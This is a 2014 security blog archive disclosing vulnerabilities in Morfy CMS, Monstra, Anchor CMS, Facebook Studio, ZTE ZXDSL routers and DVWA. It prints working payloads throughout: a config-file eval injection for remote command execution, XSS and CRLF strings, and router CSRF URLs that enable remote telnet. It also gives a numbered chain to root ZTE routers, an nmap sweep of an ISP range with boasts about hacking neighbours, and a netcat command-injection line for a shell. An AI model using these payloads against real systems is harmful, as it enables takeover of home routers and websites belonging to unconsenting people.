Blog: 2014

bypass

Morfy CMS Multiple Vulnerabilities

11:19 AM

Site: morfy.monstra.org;

Executing Commands like a Boss! (cough cough)

Versions <= 1.0.5 are vulnerable to the following attacks if certain requirements fulfill

1. Remote Command Execution

Vulnerable Code

./install.php Line 57

$post_site_url = isset($_POST['site_url']) ? $_POST['site_url'] : '';

./install.php Line 64-77

file_put_contents('config.php', "<?php

return array(

'site_url' => '{$post_site_url}',

'site_charset' => 'UTF-8',

'site_timezone' => '{$post_site_timezone}',

'site_theme' => 'default',

'site_title' => '{$post_site_title}',

'site_description' => '{$post_site_description}',

'site_keywords' => '{$post_site_keywords}',

'email' => '{$post_email}',

'plugins' => array(

'markdown',

'sitemap',

), );");

The problem is that it adds multiple unsanitized user input inside a php configuration file (config.php)

Exploitation: goto install.php?

Add

website.com}','yibelo'=> eval("system('dir');"),// as your website

This will store the following in config.php

return array(

'site_url' => '{website.com}','yibelo'=> eval("system('dir');"),// ',

'site_charset' => 'UTF-8',

'site_timezone' => '{$post_site_timezone}',

'site_theme' => 'default',

'site_title' => '{$post_site_title}',

'site_description' => '{$post_site_description}',

'site_keywords' => '{$post_site_keywords}',

'email' => '{$post_email}',

'plugins' => array(

'markdown',

'sitemap',

), );");

Then navigate to site.com/config.php then system(‘dir’); (list of files in current directory) will be displayed

http://www.vulnerability-lab.com/get_content.php?id=1367

2. Cross Site Scripting

Vulnerable Code

./install.php Line 14

$site_url = 'http://'.$_SERVER["SERVER_NAME"].$port.str_replace(array("index.php", "install.php"), "", $_SERVER['PHP_SELF']);

./install.php Line 20

$rewrite_base = str_replace(array("index.php", "install.php"), "", $_SERVER['PHP_SELF']);

./install.php Line 226

Exploitation

Send a GET request payload like

http://localhost/morfy-zone/install.php/”><svg/onload=confirm(1)>

Will output

And a reflective XSS shall occur if install.php isn't removed.

Vulnerable? The easiest fix (for both issues) will be to remove install.php the second you finished installing morfy.

Another one for the f*** sakes!

2014-10-12 – Contacted Developers (no reply)

2014-11-00 – Another attempt to contact developers (no reply)

2014-12-17 – Public Disclosure.

bugbounty

XSS Bug on Facebook Studio

8:41 AM

VL-MAG: http://magazine.vulnerability-db.com/?q=articles/2014/12/11/whitehat-hacker-discovered-details-application-side-facebook-studio-dashboard

This is a cool Second-Order-Injection XSS against Facebook Studio that was caused by data input on Facebook Mobile (Facebook Studio).

This vulnerability is created because of improper user input parsing. First, I noticed facebook-studio.com doesn’t use Linkshim (malicious link detection system for Facebook). When I saw that, I immediately wrote to Facebook about it. But then I realized, this is not exploitable because it fetches the URL’s from My Facebook profile. Take: Evilzone.org is a site blocked by Linkshim.

Meaning, if I add “google.com” as my website on Facebook, it will be fetched to my Studios account. which means, there needs to be no linkshim because it was first checked on Facebook.

Linkshim uses a list of sites to identify if the site is malicious or not. So bypassing basically includes cheating the linkshim into thinking our site is not included. As always, I started with case-sensetivity bypasses, hoping, if evilzone.org is blocked, to bypass it with EVILZoNE.org, it obviously didn't work.

Then I tried URL encoding. There is a value in html called shy. That basically, shies/hides elements. This tag can be used in href elements. So <a href=”evilzone.org” >X</a> is equvallent to evilzone.org so all I had to do is add evilzone.org as my website using the mobile interface of Facebook (since the main site sends requests to verify, and the mobile version doesn’t)

So when Facebook studio fetches my URL from my Facebook profile and add it in href tag (hoping it is a safe link checked by Linkshim, and it is), it will become “<a href=”evilzone.org” >X</a>” when clicked redirects to evilzone.org, which is considered a linkshim evasion.

Seeing the source, I then wondered why  still itself and not encoded. So I tried my chance with http://something.com”><script>alert(0);</script> but that link become

It basically means, the inputs < , >, / and anything following them is filtered. So I tried event handler XSS’es since quotes aren’t blocked with payloads like

http://something.com”onmouseover=”alert(1);//.

So that will be rendered as

The bad news is I can’t make it self-executable even using autofocus and onfocus because it is href attribute. So I tried ways of making this self-executable. Then, I use CSS to make the font very big, so it will fill the screen. So onmouseover will automatically get it triggered because the mouse will be all over it. Note: since it’s a URL for Facebook, no spaces were allowed.

http://something.com”onmouseover=’alert(31337);’style=”font-size:100; background:black”.

That was the final payload I added to my Facebook account, as my website. The problem with Facebook was that when adding it to the database, I don’t know why Facebook didn’t html entity it. So when Studio featched the contents, it became

And creating us a nice self executing XSS.

www.vulnerability-lab.com/get_content.php?id=1368

Nov 22, 2014 7:12am - Notified Facebook

Nov 24, 2014 1:30pm - Facebook Notified its out of scope

Dec 2, 2014 10:42am - Issue got fixed.

Dec 9, 2014 08:03am - Public Disclosure

Conclusion

No matter where the source is, do not trust user input data even while fetching it from a trusted source.

cve

(Monstra <= 3.0.1 & Anchor <= 0.9) CVE-2014-9006, CVE-2014-9182

2:07 AM

Monstra CMS 3.0.1 (current version at the time of writing) and below Vulnerabilities

`HTTP Response Splitting (CRLF Injection)`

`http://packetstormsecurity.com/files/129043/Monstra-3.0.1-HTTP-Response-Splitting.html`

/plugins/captcha/crypt/cryptographp.php

<?php

...
SetCookie("cryptcookietest", "1");
Header("Location:
cryptographp.inc.php?cfg=".$_GET['cfg']."&sn=".session_name()."&".SID);
... ?>


So providing 

http://[host]/[loc]/plugins/captcha/crypt/cryptographp.php?cfg=%0A%0DContent-T
ype:%20text/html%0A%0D%0A%0D%3Cscript%3Ealert%281%29%3C/script%3E&

Using %0A%0D%0A%0D will allow you to add headers. this can be used to cause

reflective XSS, Content-Spoofing, Open Redirection, and many more.



Would result a CRLF injection.

Note: PHP version must allow multiple headers. this is fixed >5.6.2

`Bruteforce Mitigation Bypass [CVE-2014-9006]`

`http://packetstormsecurity.com/files/129082/Monstra-3.0.1-Bruteforce-Mitigation-Bypass.html`

admin/index.php

:33-42

// Admin login
if (Request::post('login_submit')) {

    if (Cookie::get('login_attempts') && Cookie::get('login_attempts') >= 5) {

        $login_error = __('You are banned for 10 minutes. Try again
later', 'users');

    } else {

        $user = $users->select("[login='" .
trim(Request::post('login')) . "']", null);
}

The code blocks bruteforce attempts simply by placing a cookie called

"login_attempts" in the victims browser an attacker can craft a bruteforce script

that either clears cookies or does not send cookies at all.

Anchor CMS <= 0.9.2 Header Injection [CVE-2014-9182]

Anchor CMS versions 0.9.2 and below suffer from a header injection vulnerability.

Anchor CMS <= 0.9.2 (Current Version)

header injection

in anchor/models/comment.php

<?php

...

$headers = 'MIME-Version: 1.0' . "\r\n";

$headers .= 'Content-type: text/html; charset=utf-8' . "\r\n";

$headers .= 'From: notifications@' . $_SERVER['HTTP_HOST'] . "\r\n";

49: mail($to, __('comments.notify_subject'), $message, $headers);

... ?>

so it is possible to inject arbitary "From" headers or any header

using CRLF. simply by tampering and changing the host to bad.com or

bad.com\r\nNew-Header:Hacked!

http://1337day.com/exploit/22851

cve

ZTE ZXDSL 831C|| Multiple Vulnerabilities

2:11 PM

ZTE 831CII suffers from login bypass, cross site request forgery, hardcoded administrative credential, and cross site scripting vulnerabilities.

Hardcoded administrative credential

In ZTE routers the username is a constant which is “admin” and the password by default is “admin”

Insecure Direct Object Reference [CVE-2014-9184]

ZTE ZXDSL 831CII suffers from an insecure direct object reference vulnerability that allows for authentication bypass.

The modem usually serves html files & protects them with HTTP Basic authentication. however, the cgi files, does not get this protection. so simply requesting any cgi file (without no authentication) would give a remote attacker full access to the modem and then can easily be used to root the modem and disrupt network activities.

So requesting gateway (in this case, 192.168.1.1) would result HTTP Authentication request, but simply requesting http://192.168.1.1/main.cgi will bypass it.

PoC:

http://192.168.1.1/adminpasswd.cgi (will result admin password change page) - viewing the source will show the current password (unencrypted)

The page does not contain current password, also have no ani-CSRF token. wtf!

http://192.168.1.1/userpasswd.cgi

http://192.168.1.1/upload.cgi

http://192.168.1.1/conprocess.cgi

http://192.168.1.1/connect.cgi

Persistent XSS [CVE-2014-9020]

http://192.168.1.1/psilan.cgi?action=save&ethIpAddress=192.168.1.1&ethSubnetMask=255.255.255.0&hostname=ZXDSL83C1II&domainname=home%27;alert%280%29;//&enblUpnp=1&enblLan2=0

Any user browsing to http://192.168.1.1/main.html will have a stored xss executed!

XSS'es [CVE-2014-9021]

TR-069 Client page: Stored. executes when users go to http://192.168.1.1/tr69cfg.html

http://192.168.1.1/tr69cfg.cgi?tr69cInformEnable=1&tr69cInformInterval=43200&tr69cAcsURL=http://acs.etc.et:9090/web/tr069%27;alert%280%29;//&tr69cAcsUser=cpe&tr69cAcsPwd=cpe&tr69cConnReqUser=itms&tr69cConnReqPwd=itms&tr69cNoneConnReqAuth=0&tr69cDebugEnable=0

http://192.168.1.1/tr69cfg.cgi?tr69cInformEnable=1&tr69cInformInterval=43200&tr69cAcsURL=http://acs.site.et:9090/web/tr069&tr69cAcsUser=cpe%27;alert%280%29;//&tr69cAcsPwd=cpe&tr69cConnReqUser=itms&tr69cConnReqPwd=itms&tr69cNoneConnReqAuth=0&tr69cDebugEnable=0

http://192.168.1.1/tr69cfg.cgi?tr69cInformEnable=1&tr69cInformInterval=43200&tr69cAcsURL=http://acs.site.et:9090/web/tr069&tr69cAcsUser=cpe&tr69cAcsPwd=cpe%27;alert%280%29;//&tr69cConnReqUser=itms&tr69cConnReqPwd=itms&tr69cNoneConnReqAuth=0&tr69cDebugEnable=0

http://192.168.1.1/tr69cfg.cgi?tr69cInformEnable=1&tr69cInformInterval=43200&tr69cAcsURL=http://acs.site.et:9090/web/tr069&tr69cAcsUser=cpe&tr69cAcsPwd=cpe&tr69cConnReqUser=itms&tr69cConnReqPwd=itms%27;alert%280%29;//&tr69cNoneConnReqAuth=0&tr69cDebugEnable=0%27;alert%280%29;//

Time and date page (/sntpcfg.sntp) - Persistent

http://192.168.1.1/sntpcfg.sntp?ntp_enabled=0&tmYear=2000%27lol&tmMonth=01&tmDay=01&tmHour=00&tmMinute=30&timezone_offset=+08:00&timezone=Beijing,%20Chongqing,%20Hong%20Kong,%20Urumqi%22;alert%280%29;//&use_dst=0&enblLightSaving=0

Quick Stats page:

192.168.1.1/psilan.cgi?action=save&ethIpAddress=192.168.1.1&ethSubnetMask=255.255.255.0&hostname=ZXDSL83C1II';alert(0);//&domainname=home&enblUpnp=1&enblLan2=0

http://192.168.1.1/psilan.cgi?action=save&ethIpAddress=192.168.1.1&ethSubnetMask=255.255.255.0&hostname=ZXDSL83C1II&domainname=home%27;alert%280%29;//&enblUpnp=1&enblLan2=0

CSRF based Stored XSS

http://192.168.1.1/adminpasswd.cgi?action=save&sysUserName=%27;alert%280%29;//&sysPassword=37F6E6F627B6 - letting an admin visit this link would result the admin username changed to ';alert(0);// also a stored XSS in the home page.

Admin account override CSRF [CVE-2014-9019]

There is no token/capcha or even current password prompt when the admin changes the password, and credentials are sent over GET.

PoC: http://192.168.1.1/adminpasswd.cgi?action=save&sysUserName=admin&sysPassword=F6C656269697

If an authenticated admin browses that link their credentials will become admin:yibelo

UI Redressing

The modem (like most modems) does not have a clickjacking protection. thus, can be used to modify settings, override admin accounts by a simple clickjack. forexample by using http://192.168.1.1/adminpasswd.html it is possible into tricking an admin submit a form with our credintials (since it doesn't require current password)

Not Using SSL

The modem does not use HTTPS, so anyone can use MiTM to sniff ongoing actions, possibly gain user credentials.

Unrestricted privileges

Anyone who is connected to the modem with Telnet or tftp is root. simply telneting and authenticating as admin:admin and typing sh and echo $USER would prove that.

Enable Remote Access CSRF [CVE-2014-9027]

Using this an attacker can trick an admin visit a page that tricks them into enabling remote access to the modem out side of the LAN.

so an attacker can attack the modem out side the lan; then an attacker can use this to escilate the attack.

Enable Access from web browser :80

http://192.168.1.1/accessremote.cmd?remoteservice=pppoe_8_81&enblicmp=0&enblftp=0&ftpport=21&enblhttp=1&httpport=80&enblsnmp=0&snmpport=161&enbltelnet=0&telnetport=23&enbltftp=0&tftpport=69&enblssh=0&sshport=22

Enable Access from Telnet :23

http://192.168.1.1/accessremote.cmd?remoteservice=pppoe_8_81&enblicmp=0&enblftp=0&ftpport=21&enblhttp=0&httpport=80&enblsnmp=0&snmpport=161&enbltelnet=1&telnetport=23&enbltftp=0&tftpport=69&enblssh=0&sshport=22

Enable Access from TFTP :69

http://192.168.1.1/accessremote.cmd?remoteservice=pppoe_8_81&enblicmp=0&enblftp=0&ftpport=21&enblhttp=0&httpport=80&enblsnmp=0&snmpport=161&enbltelnet=0&telnetport=23&enbltftp=1&tftpport=69&enblssh=0&sshport=22

Enable Remote Access from all {80,69,161,23}

http://192.168.1.1/accessremote.cmd?remoteservice=pppoe_8_81&enblicmp=1&enblftp=1&ftpport=21&enblhttp=1&httpport=80&enblsnmp=1&snmpport=161&enbltelnet=1&telnetport=23&enbltftp=0&tftpport=69&enblssh=0&sshport=22

and what a fucked up modem I have :'( Good thing I am root.

Exploitation

from all those exploits, its easy to construct a remote root command execution exploit against any of these modems.

1. Make a logged in admin enable remote access for us with
http://192.168.1.1/accessremote.cmd?remoteservice=pppoe_8_81&enblicmp=1&enblftp=1&ftpport=21&enblhttp=1&httpport=80&enblsnmp=1&snmpport=161&enbltelnet=1&telnetport=23&enbltftp=0&tftpport=69&enblssh=0&sshport=22 (Only if we are outside LAN)

2. Go to http://192.168.1.1/adminpasswd.cgi and change admin password or copy the current one (recommended)

3. telnet to 192.168.1.1 with the admin password and username (most likely admin:admin) and what do you know,

4. type sh then echo $USER and become the root of the network.

5. RULE'em ALL!

http://packetstormsecurity.com/files/129015/ZTE-ZXDSL-831CII-Insecure-Direct-Object-Reference.html

http://packetstormsecurity.com/files/129017/ZTE-ZXDSL-831-Cross-Site-Scripting.html

http://packetstormsecurity.com/files/129016/ZTE-831CII-Hardcoded-Credential-XSS-CSRF.html

Happy Hacking! :D

websecurity

ZTE ZXDSL 831 Router Exploits: Hacking and Rooting my internet neighbor

8:51 AM

ZTE is providing a ADSL routers in my home country. Since there is only one ISP and they are giving everyone ZTE routers when they get ADSL internet I thought looking into this would be interesting. Even though different router models are given, I was surprised to find out how similarly the software operated. After testing about 7 different ZXDSL models, I think all these bugs are present in all ZTE ZXDSL routers

Here is how it started, I got a new DSL internet modem (ZTE ZXDSL 831 II) and after some use, I forgot my password. I couldn't connect to the internet nor could I simply go to 192.168.1.1 and change my credentials (it used Basic HTTP Auth to authenticate, so bruteforce was an option...) but I took it as a challenge and try to get inside without brute. so I download the firmware...

It quickly turned out that not only was I able to hack it and root it, it was also very easy to hack all the people around me (people using broadband in the country (if you know ip range ;O -- thanks to there only being one ISP and one router it uses by default)) and then write about it.

Since I wasn't able to find a direct way to access the modem directly using the IP, I started requesting some of the pages you encounter after auth.... and turns out most of those files were returning to me without a 401 Unauthorized error (unlike the login page), which is obviously Insecure Direct Object Reference vul. I quickly realized ZTE router programmers really don't know what IDOR bugs are, almost all ZTE routers I tested after this had similar IDOR bugs letting me bypass authentication if I know the name of the page.

note that the modem comes with admin:admin password credentials, which is enough info to pwn people using the known IP range. But for those that change their default ssh/telnet and http logins, we need a different bug.

IDOR 1: Allows Root RCE

requesting http://<router-IP>/upload.cgi didn't throw up a 401 error. it just gives the upload page, Insecure Direct Object Reference. awesome! Here, we can upload a new firmware for the router. We can add a malicious binary/shell.in the squashfs file of the firmware and upload it, granting us persistent root access.

IDOR 2: Information Disclosure

Another bug I found was awesome, requesting http://<router-IP>/pppoe.cgi would turn out the pppoe password and username when you view source. oouch!

IDOR 3: Authentication Bypass

If an attacker, who is NOT authenticated requests http://<router-IP>/resetrouter.cgi the router would reset all settings to factory mode without any confirmation or warning.

So the root password for ssh, and HTTP interface become admin:admin again, yay!

When I port scanned it using nmap -sV 192.168.1.1 and it returned

...
23/tcp   open   telnet ZXDSL 831CII ADSL modem telnetd 5.2.0a_E29_ET
...

While SSH is disabled by default, looks like telnet isn't. and it looks like the default username and password works. After telneting we are greeted with a terrible shell. but if you type "sh" suddenly you are greeted with a busy box shell.

# cat /proc/cpuinfo
system type             : 96338L-2M-8M
processor               : 0
cpu model               : BCM6338 V1.0
BogoMIPS                : 239.20
wait instruction        : no
microsecond timers      : yes
tlb_entries             : 32
extra interrupt vector : yes
hardware watchpoint     : no
unaligned access                : 1289794
VCED exceptions         : not available
VCEI exceptions         : not available

Dead performance!

So I did, "cat /proc/meminfo" (6MB it holds), then "cat /proc/version" and it returned
...
Linux version 2.6.8.1 (root@host.domain.com)
...

Even though there was a public local exploit to that kernel simply typing "echo $USER" revealed I was always root. no need to root shit. Simple as that.

going to, http://192.168.1.1/menu_status.html gives public ip address of the router without auth. (aside from lots of easier ways), it was 10.136.0.16 (obvioulsy not the real IP)

so lets scan my IP range to see what we find "nmap --open -sS -sV -T4 10.136.*.*/24 -p 80 -oG - | grep 'open' "

and quickly found out at least 4800 other routers online. You know its ez:

1. Attacker goes to https://<router-ip>/resetrouter.cgi

2. telnet <router-ip> admin:admin

3. pwn!

Well, that was a fun recovery time!

Happy Hacking!

Edit: btw I contacted ZTE and they said they will make better routers in the future, and will not be realizing patches for these modules.

Conclusion: ZTE makes bad routers, most "different models" run the same services, similar holes. it wasnt built in having security in mind. run if you see one! dont buy it! sue me!

and ya, disable remote logins to telnet, http etc. ;)

bypass

DVWA: Unintended Security Issues

4:04 AM

Hacking the Hackers

“So your friend have DB-UUA? & you want to hack his ass?? :P”

Here is the exploit link: http://pastebin.com/A7WV5MbK

“Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment…”

Well, basically it helps you learn about web security. It has 3 levels of security. Low, Medium and High. The “High” level is the secure considered level (it is supposed to be the secure version of ‘em all and not to be passed to teach the secure implementation of web applications for developers).

DVWA 1.0.x (The version I just installed) includes Brute Force, Command Execution, CSRF, File Inclusion, SQL Injection, Blind SQLi, Upload, XSS Stored and Reflected vulnerabilities to be played with.

Aside from those I believe there are some unintended security problems with the application itself even in the “High”est level.

Command Execution

This is an attacker perspective.

There is a .htacess file for DVWA not to be accessed other than locally. And also there is a command execution challenge. It is possible to execute commands in the challenge using inputs like 127.0.0.1;ls –la.

Imagine an attacker who knows you have DVWA want to execute commands remotely in your PC. But that won’t be possible since there is a .htaccess file permiting them from accessing your.ip.address/dvwa. But imagine if the attacker craft a CSRF for you to execute commands in the challenge.

The fact that there is no anti-CSRF token in the command execution challenge puts you’re server in danger while browsing sites contain scripts like this if you are using low and medium level

“127.0.0.1;netcat –l 155.10.15.1 –p 4444” will allow the attacker to get a shell connection back to you using your PHP server.

But, if you use the high level, the above payload won’t work since it’s secure. Hmm. so the attacker needs to craft another CSRF for you to change your challenge level to low or medium, since there is still no anti-CSRF token in /security.php , why?? Lol. Anyway, Good for us. We will craft scripts like

That will make your challenge level to “low” and open a port back to the attackers PC.

But DVWA gives you session cookies for one IP. So localhost and your IP (x.x.x.x) won’t have same cookies. Meaning, even if the victim is logged in, our CSRF won’t work because we use they use their IP (which is unlikely they are logged in other than using localhost).

So imagine the victim is not logged in, have different password than default. And there is also that IP problem. It’s hard to create command execution now. Harder but not impossible, because there is no token in /setup.php too. Why? Lol.

Now we make the user reset their database (which also resets password) in case they change it back other than the default value “password”. Then now we know the admin new password and username is reset back to admin and password for password.

Now we make the victim login using our default new password and username since there is no login token too. Nice.

Now we have a 99% success rate to get shell when victim visit our CSRF link once we automate the

process.

For testing I just add each csrf to csrf1.php csrf2.php… respectively and I added an auto submitter for all of them. Then I created one file called all.php then I framed all of them with 0 width and 0 height for the pixel to be hidden while submittion… so all.php submits all the 4 csrfs and get us a shell when victim visit our link (all.php). which is awesome because anyone who have dvwa is shitty doomed! Lol

So Finally with Tabor Nekatebeb we created a JavaScript exploit for the working exploit and upload it to packet-storm http://packetstormsecurity.com/files/128253/DVWA-Cross-Site-Request-Forgery.html

Unintended L/RFI

/vulnerabilities/view_source.php?id=csrf&security=../../../config/config.inc

XSS in the upload section.

DVWA’s High level file upload is very interesting. I believe it’s very secure aside from the fact that it doesn’t read image binaries to realize it’s a real image other than the image extension and content-type headers. (Note this can be a very easy way to escalate if: LFI { command execution})

But that’s not the only issue in the upload section, the uploaded file names aren’t sanitized, they just will be printed out in a <pre> tag. This is bad because this can be escalated to cause reflective XSS.

That is the secure “considered” code for file upload but to at least eliminate XSS, I believe the code should become

“$uploaded_name = htmlentities($_FILES[‘uploaded’][‘name’];” is all I add to eliminate cross site scripting, before that an attacker can upload a file named” </pre><script>alert(0);</script>.jpeg” (Note: use *nix based systems since windows pretty much won’t let you save a file with a name <,> or pretty much any cool symbols unless you intercept the requests)

Another XSS could be done even when after htmlentities actually (but requires user interaction), a user can upload a file called “javascript:alert(0);//.jpeg” and when a user visits http://localhost/dvwa/hackable/uploads/ a link with the image location will be generated like

<a href="Javascript:alert(0);//.jpeg">Javascript</a></td><td align="right"> so if the user click on the image,
there will still be XSS. It is often recommended to give uploaded files computer generated names.

The fact that Ajax can’t make external HTTP request prior to the Same-Origin Policy for XMLHTTPRequest make the exploit self only. But using HTML and Javascript you can create a working exploit to own anyones ass. ;P we did that to stop skids using this to hack your elite ass just for having DVWA.

Local File Disclosure

vulnerabilities/view_help.php doesn’t sanitize user input before giving a page help preview.

Thus, leading to Local File Disclosure.

PoC: http://localhost/dvwa/vulnerabilities/view_help.php?id=../index.php%0.0&security=shittylow

(Note: if magic_quote_gpc is enabled than the null byte() will get converted to /0, implying that the attack will fail)

but we can still exploit this with Path Truncation.

XSS in the upload section.

That is the secure “considered” code for file upload but to at least eliminate XSS, I believe the code should become

<a href="Javascript:alert(0);//.jpeg">Javascript</a></td><td align="right"> so if the user click on the image, there will still be XSS. It is often recommended to give uploaded files computer generated names.

XSS in viewsource.php

PoC: http://localhost/dvwa/vulnerabilities/view_source.php?id=shit%22%3E%3Cscript%3Ealert%280%29;%3C/script%3E&security=low

Self-XSS setup.php

The setup.php contains the following code.

And DVWA explain the dvwaPageReload() function in the else statement as

So if we go to http://localhost/dvwa/setup.php/”><script>alert(0);</script>

And if somehow two of the if and elseif checks fail the dvwaPageReload Redirection happen with dvwaMessagePush() thus our payload “><script>alert(0);</script> being executed. J

Bonus

In the beginning I wrote “DB-UUA” as you were expecting DVWA so you probably are wondering if it’s a typo lol. Well if you made it this far, you deserve a little break why, B sounds better than V. and the UU is W. it have history you know, W is called Double U because long ago people use to write two U’s and say look homie… a W. So UU is W. uutf right?

And ya, there are lots of FPDs

http://localhost/dvwa/vulnerabilities/sqli/?idrenamed=ds&Submit=Submit#

http://localhost/dvwa/vulnerabilities/view_source_all.php

http://localhost/dvwa/vulnerabilities/view_help.php

Morfy CMS Multiple Vulnerabilities

Executing Commands like a Boss! (cough cough)

1. Remote Command Execution

2. Cross Site Scripting

XSS Bug on Facebook Studio

Conclusion

(Monstra <= 3.0.1 & Anchor <= 0.9) CVE-2014-9006, CVE-2014-9182

Monstra CMS 3.0.1 (current version at the time of writing) and below Vulnerabilities

`HTTP Response Splitting (CRLF Injection)`

`http://packetstormsecurity.com/files/129043/Monstra-3.0.1-HTTP-Response-Splitting.html`

`Bruteforce Mitigation Bypass [CVE-2014-9006]`

`http://packetstormsecurity.com/files/129082/Monstra-3.0.1-Bruteforce-Mitigation-Bypass.html`

Anchor CMS <= 0.9.2 Header Injection [CVE-2014-9182]

ZTE ZXDSL 831C|| Multiple Vulnerabilities

Hardcoded administrative credential

Insecure Direct Object Reference [CVE-2014-9184]

Persistent XSS [CVE-2014-9020]

XSS'es [CVE-2014-9021]

CSRF based Stored XSS

Admin account override CSRF [CVE-2014-9019]

UI Redressing

Not Using SSL

Enable Remote Access CSRF [CVE-2014-9027]

Exploitation

ZTE ZXDSL 831 Router Exploits: Hacking and Rooting my internet neighbor

DVWA: Unintended Security Issues

About Paulos

Popular Posts

Blog Archive

Labels

recent posts

Executing Commands like a Boss! (*cough cough*)

1. Remote Command Execution

2. Cross Site Scripting

Conclusion

Monstra CMS 3.0.1 (current version at the time of writing) and below Vulnerabilities

HTTP Response Splitting (CRLF Injection)

Bruteforce Mitigation Bypass [CVE-2014-9006]

Anchor CMS <= 0.9.2 Header Injection [CVE-2014-9182]

Hardcoded administrative credential

Insecure Direct Object Reference [CVE-2014-9184]

Persistent XSS [CVE-2014-9020]

XSS'es [CVE-2014-9021]

CSRF based Stored XSS

Admin account override CSRF [CVE-2014-9019]

UI Redressing

Not Using SSL

Enable Remote Access CSRF [CVE-2014-9027]

Exploitation

About Paulos

Popular Posts

Blog Archive

Labels

recent posts

Executing Commands like a Boss! (cough cough)

`HTTP Response Splitting (CRLF Injection)`

`Bruteforce Mitigation Bypass [CVE-2014-9006]`